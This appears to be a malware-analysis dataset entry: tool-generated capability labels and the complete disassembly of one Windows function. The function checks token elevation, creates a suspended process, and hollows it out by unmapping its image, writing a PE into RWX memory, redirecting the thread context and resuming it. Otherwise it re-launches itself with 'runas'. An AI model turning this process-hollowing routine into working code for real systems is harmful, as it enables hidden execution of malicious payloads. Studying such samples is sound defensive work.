Function at 0x1800383c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x18042e040]
xor rax, rsp
mov qword [rbp + 0x580], rax
mov r14, rdx
mov rsi, rcx
mov qword [rsp + 0x58], rcx
mov qword [rbp + 0x10], rdx
xor r12d, r12d
mov qword [rbp - 0x78], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x78]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800388ec
lea rax, [rbp + 0x34]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x30]
mov edx, 0x14
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, r12d
test eax, eax
cmovne ebx, dword [rbp + 0x30]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1800388ec
movsxd r13, dword [rsi + 0x3c]
mov ecx, dword [r13 + rsi + 0x50]
mov dword [rbp - 0x78], ecx
movsxd r15, dword [r13 + rsi + 0x54]
mov ecx, dword [r13 + rsi + 0x28]
mov dword [rbp + 0x34], ecx
movzx edi, word [r13 + rsi + 6]
mov word [rbp + 0x30], di
movzx ecx, word [r13 + rsi + 0x14]
mov word [rsp + 0x50], cx
mov rax, qword [r13 + rsi + 0x30]
mov qword [rbp - 0x70], rax
mov ecx, 0x68
call fcn.180044d94
mov qword [rsp + 0x78], rax
mov ecx, 0x18
call fcn.180044d94
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp + 0x64], xmm0
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
mov dword [rbp + 0xa4], eax
mov dword [rbp + 0x40], 0x68
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x1800384f4
mov rdx, qword [r14]
lea rax, [rbp + 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1800385a8
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18003856c
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180038567
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800388e5
mov rcx, r8
call fcn.180044ce8
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], r12
xor al, al
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.1800445b0
mov rbx, qword [rsp + 0x6e0]
add rsp, 0x690
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rbx, qword [rbp + 0x18]
mov qword [rsp + 0x60], rbx
mov r12, qword [rbp + 0x20]
mov qword [rsp + 0x70], r12
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x70]
mov rcx, rbx
call rax
movsxd r8, dword [rbp - 0x78]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
jne 0x180038654
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18003863e
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180038639
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800388e5
mov rcx, r8
call fcn.180044ce8
xor eax, eax
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], 0xf
mov byte [r14], al
jmp 0x18003857e
mov r9, r15
xor r15d, r15d
mov qword [rsp + 0x20], r15
mov r8, rsi
mov rdx, qword [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800386c2
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1800386ad
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1800386a8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800388e5
mov rcx, r8
call fcn.180044ce8
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
jmp 0x18003857c
xor eax, eax
cmp ax, di
jge 0x1800387a4
mov r12, r13
mov qword [rsp + 0x68], r13
movsx rdi, word [rsp + 0x50]
add rdi, 0x18
mov qword [rbp - 0x78], rdi
mov ecx, 0x28
call fcn.180044d94
mov r13, rax
movsx ecx, r15w
lea edx, [rcx + rcx*4]
shl edx, 3
movsxd rcx, edx
add rcx, r12
add rcx, rdi
movups xmm0, xmmword [rcx + rsi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rcx + rsi + 0x20]
movsd qword [rax + 0x20], xmm0
movsxd rdi, dword [rax + 0xc]
movsxd rbx, dword [rax + 0x14]
movsxd rsi, dword [rax + 0x10]
mov rcx, rsi
call fcn.180044d94
mov r12, rax
mov rdx, rbx
add rdx, qword [rsp + 0x58]
mov r8, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
add rdx, qword [rbp - 0x70]
xor edi, edi
mov qword [rsp + 0x20], rdi
mov r9, rsi
mov r8, r12
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18003889a
mov rcx, r13
call fcn.180044ce8
mov rcx, r12
call fcn.180044ce8
inc r15w
cmp r15w, word [rbp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rbp - 0x78]
mov r12, qword [rsp + 0x68]
jl 0x1800386e3
mov r12, qword [rsp + 0x70]
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0xe0], 0x10000b
lea rdx, [rbp + 0xb0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x138]
add rdx, 0x10
xor edi, edi
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18003889a
movsxd rax, dword [rbp + 0x34]
add rax, qword [rbp - 0x70]
mov qword [rbp + 0x130], rax
lea rdx, [rbp + 0xb0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call fcn.180044ce8
mov rcx, qword [rbp - 0x80]
call fcn.180044ce8
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x180038883
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18003887e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800388e5
mov rcx, r8
call fcn.180044ce8
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov al, 1
jmp 0x18003857e
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1800388d0
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x1800388cb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800388e5
mov rcx, r8
call fcn.180044ce8
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
jmp 0x18003857c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
mov qword [rbp + 4], rax
mov dword [rbp + 0xc], eax
mov dword [rbp - 0x60], 0x70
mov dword [rbp - 0x5c], 0x40
mov qword [rbp - 0x58], r12
lea rax, str.runas
mov qword [rbp - 0x50], rax
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x18003892e
mov rax, qword [r14]
mov qword [rbp - 0x48], rax
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 1
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x1800389b3
mov edx, 0xffffffff
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18003899c
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180038997
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800389ed
mov rcx, r8
call fcn.180044ce8
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov al, 1
jmp 0x18003857e
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18003856c
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180038567
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x180038564
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3